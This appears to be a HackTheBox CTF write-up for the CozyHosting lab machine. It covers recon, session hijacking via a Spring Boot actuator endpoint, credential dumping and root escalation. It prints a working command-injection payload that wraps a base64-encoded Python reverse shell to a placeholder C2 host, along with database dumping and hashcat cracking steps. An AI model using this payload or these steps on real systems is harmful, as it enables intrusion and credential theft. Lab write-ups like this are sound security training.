CozyHosting - HackTheBox

CTF Writeup for CozyHosting from HackTheBox

CozyHosting - HackTheBox
Photo by Pat Whelen / Unsplash

Based on bad configurations and unsanitized input.

As usual, nmap: 22/tcp[SSH] and 80/tcp[HTTP]. Linux host.

22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cozyhosting.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The nmap results.

Navigating to the domain we found from the nmap scan..

The 'cozyhosting.htb' site.

Now with the usual gobuster scan..

===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index                (Status: 200) [Size: 12706]
/login                (Status: 200) [Size: 4431]
/admin                (Status: 401) [Size: 97]
/logout               (Status: 204) [Size: 0]
/error                (Status: 500) [Size: 73]

The quick gobuster results.

The '/login' and '/admin' lead to login pages. Before we try to do injections, let's look around.

Upon doing a quick fuzz test, I get an interesting error page..

Whitelabel Error Page
Research on the error page.

Now we know at least some of the site is Spring Boot, interesting. Reference this..

Referenced HackTricks section of Spring Boot.

Trying the new '/actuator' path we've learned..

/actuator
/actuator/sessions

Neat. Now we can pop one of these into our browser and hope to get in the admin page..

/admin

Most UI elements aren't interactable but the bottom section is. Interesting.

So, if this is directly interacting with the system in a shell then there's two ways this could be interpreted on the server..

// Without -l
$ ssh -i key <username>@<hostname>
// With -l
$ ssh -i key -l <username> <hostname>

Depending on which one it is will be how the payload is going to be constructed; also hope that we can get an error to interpret.

Fuzzing 'username' field.

Well that's unlucky for CozyHosting.

IFS

As seen in the screenshot above.

Predefined BASH variable which value is " ". So for this circumstance it eliminates the whitespace while still providing a space as needed.

Time to work on a payload, this is mostly trial-and-error.

// Payload (plain-text) [Example]
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<c2-ipv4>",<c2-port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

- Encode the payload in base64

// Payload (base64) [Example]
cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjxjMi1pcHY0PiIsPGMyLXBvcnQ+KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigic2giKSc

- As stated, this is a shell command for SSH client, so need to terminate
- the first and last part to execute shell.
- Payload: <usual-command-part-1>;<payload>;<usual-command-part-2>

// Final Payload [Example]
user@localhost;echo${IFS}cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjxjMi1pcHY0PiIsPGMyLXBvcnQ+KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigic2giKSc|base64${IFS}-d|/bin/bash;

Payload creation notes.

Now, we insert this payload into username field and catch ourselves a revvy.

app$ pwd
> /app
app$ ls -lah
> total 58M
> drwxr-xr-x  2 root root 4.0K Aug 14 14:11 .
> drwxr-xr-x 19 root root 4.0K Aug 14 14:11 ..
> -rw-r--r--  1 root root  58M Aug 11 00:45 cloudhosting-0.0.1.jar

Well there's the server JAR file, lettuce download it to our machine for inspection. I used my own tool krampus to be quick.

Now that we have the file, we need a tool to look into it, jd-gui.

jd-gui view

Now we can procede to use these postgre credentials to hopefully get user credentials.

Note: Only because this is a CTF I will dump to screen rather than a file or specify specific parts to be dumped.

app$ pg_dump --dbname=postgresql://<db-username>:<db-password>@127.0.0.1:5432/<db-name>
--
-- Data for Name: users; Type: TABLE DATA; Schema: public; Owner: postgres
--

COPY public.users (name, password, role) FROM stdin;
kanderson	$2a$10$E/Vcd9ecflmPudWeLSEIv.c******************************	User
admin	$2a$10$SpKYdHLB0FOaT7n3x72wtuS******************************	Admin

admin?

Take this and plug into hashcat ( or john, your choice ).

$ hashcat -a 0 -m 3200 hash.txt passwords.txt

Use rockyou or crackstation's list.

Now we have a password, but for who/what?

app$ cat /etc/passwd
> root:x:0:0:root:/root:/bin/bash
> ... snip ...
> app:x:1001:1001::/home/app:/bin/sh
> postgres:x:114:120:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
> josh:x:1003:1003::/home/josh:/usr/bin/bash
> _laurel:x:998:998::/var/log/laurel:/bin/false

/etc/passwd

Password sharing is a thing, and we have another user named 'josh', hm.

Now that we're logged in as 'josh' we can collect the user flag..

josh$ cd ~
josh$ ls
> user.txt
josh$ cat user.txt 
> **********************************

user.txt

Next we go for root, check for sudo permissions as usual..

josh$ sudo -S -l
> [sudo] password for josh: ****************
>
> Matching Defaults entries for josh on localhost:
>     env_reset, mail_badpass,
>     secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
>     use_pty
>
> User josh may run the following commands on localhost:
>    (root) /usr/bin/ssh *

Sudo permission check.

Strange, time to check gtfobins. We will use the command under Sudo header.

We go root. Time to collect the root flag.

root# cd ~
root# ls
> root.txt
root# cat root.txt
> ********************************

root.txt

That's all :) .